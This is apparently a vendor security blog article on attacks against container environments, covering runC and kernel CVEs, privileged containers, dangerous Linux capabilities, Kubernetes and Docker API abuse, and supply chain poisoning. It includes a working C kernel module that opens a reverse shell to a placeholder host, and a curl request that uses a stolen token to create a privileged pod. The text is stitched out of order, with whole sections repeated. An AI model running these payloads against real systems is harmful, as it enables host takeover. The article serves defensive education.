One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

• Exploiting vulnerabilities in the host system and container runtime components
• Malicious activity inside a compromised container
• Container escape followed by host compromise
• Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
• Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

• CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
• CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
• CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

• User and service credentials
• API keys
• Access tokens
• SSH keys
• Environment variables containing secrets
• Kubernetes ServiceAccount tokens
• Configuration files
• Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.

Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.